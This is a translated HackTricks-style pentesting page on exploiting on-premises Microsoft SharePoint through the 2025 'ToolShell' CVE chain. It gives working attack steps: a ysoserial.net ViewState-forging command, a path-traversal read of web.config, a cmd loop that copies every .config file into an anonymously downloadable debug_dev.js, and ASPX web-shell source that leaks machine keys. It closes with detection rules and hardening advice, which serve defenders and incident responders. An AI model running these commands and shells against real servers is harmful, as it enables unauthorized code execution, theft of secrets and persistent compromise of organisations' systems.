Microsoft SharePoint – Pentesting & Exploitation

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clÔssica (ViewState, Web.Config, web shells, etc.) estÔ, portanto, presente, mas o SharePoint também vem com centenas de pÔginas ASPX proprietÔrias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta pÔgina coleta truques prÔticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. Cadeia de exploração 2025 (a.k.a. ā€œToolShellā€)

2.1 CVE-2025-49704 – Injeção de Código em ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> permite que código Server-Side Include arbitrĆ”rio seja injetado na pĆ”gina, que Ć© posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa Process.Start() e inserir um ViewState malicioso.

2.2 CVE-2025-49706 – Bypass de Autenticação Impropria

A mesma pÔgina confia no cabeçalho X-Forms_BaseUrl para determinar o contexto do site. Ao apontÔ-lo para /_layouts/15/, a MFA/SSO aplicada no site raiz pode ser contornada sem autenticação.

2.3 CVE-2025-53770 – Desserialização de ViewState NĆ£o Autenticada → RCE

Uma vez que o atacante controla um gadget em ToolPane.aspx, ele pode postar um valor __VIEWSTATE não assinado (ou apenas com MAC) que aciona a desserialização .NET dentro do w3wp.exe, levando à execução de código.

Se a assinatura estiver habilitada, roube a ValidationKey/DecryptionKey de qualquer web.config (veja 2.4) e forje o payload com ysoserial.net ou ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}}

2.4 CVE-2025-53771 – Path Traversal / divulgação do web.config

Enviar um parâmetro Source elaborado para ToolPane.aspx (por exemplo, ../../../../web.config) retorna o arquivo alvo, permitindo a divulgação de:

  • <machineKey validationKey="…" decryptionKey="…"> āžœ forjar cookies ViewState / ASPXAUTH
  • strings de conexĆ£o e segredos.

3. Receitas de pós-exploração observadas na natureza

3.1 Exfiltrar todos os arquivos .config (variação-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

O resultado do debug_dev.js pode ser baixado anonimamente e contƩm todas as configuraƧƵes sensƭveis.

3.2 Implantar um shell web ASPX codificado em Base64 (variação-2)

powershell.exe -EncodedCommand <base64>

Exemplo de payload decodificado (abreviado):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Escrito para:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

A shell expƵe endpoints para ler / girar chaves de mƔquina que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda.

3.3 Variante ofuscada (variação-3)

Mesma shell, mas:

  • colocada em ...\15\TEMPLATE\LAYOUTS\
  • nomes de variĆ”veis reduzidos a letras Ćŗnicas
  • Thread.Sleep(<ms>) adicionado para evasĆ£o de sandbox e bypass de AV baseado em tempo.

4. Ideias de detecção

TelemetriaPor que Ć© suspeito
w3wp.exe → cmd.exeO processo de trabalho raramente deve gerar shell
cmd.exe → powershell.exe -EncodedCommandPadrĆ£o clĆ”ssico de lolbin
Eventos de arquivo criando debug_dev.js ou spinstall0.aspxIOCs diretamente do ToolShell
ProcessCmdLine CONTƉM ToolPane.aspx (logs ETW/Módulo)PoCs pĆŗblicas invocam esta pĆ”gina

Exemplo de regra XDR / Sysmon (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Dureza & Mitigação

  1. Patch – AtualizaƧƵes de seguranƧa de julho de 2025 corrigem todos os quatro CVEs.
  2. Rotacione todos os segredos <machineKey> e ViewState após a violação.
  3. Remova a permissão de escrita LAYOUTS dos grupos WSS_WPG & WSS_ADMIN_WPG.
  4. Bloqueie o acesso externo a /_layouts/15/ToolPane.aspx no nĆ­vel de proxy/WAF.
  5. Ative ViewStateUserKey, MAC habilitado e EventValidation personalizado.

Truques relacionados

  • IIS pós-exploração & abuso de web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}

ReferĆŖncias

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks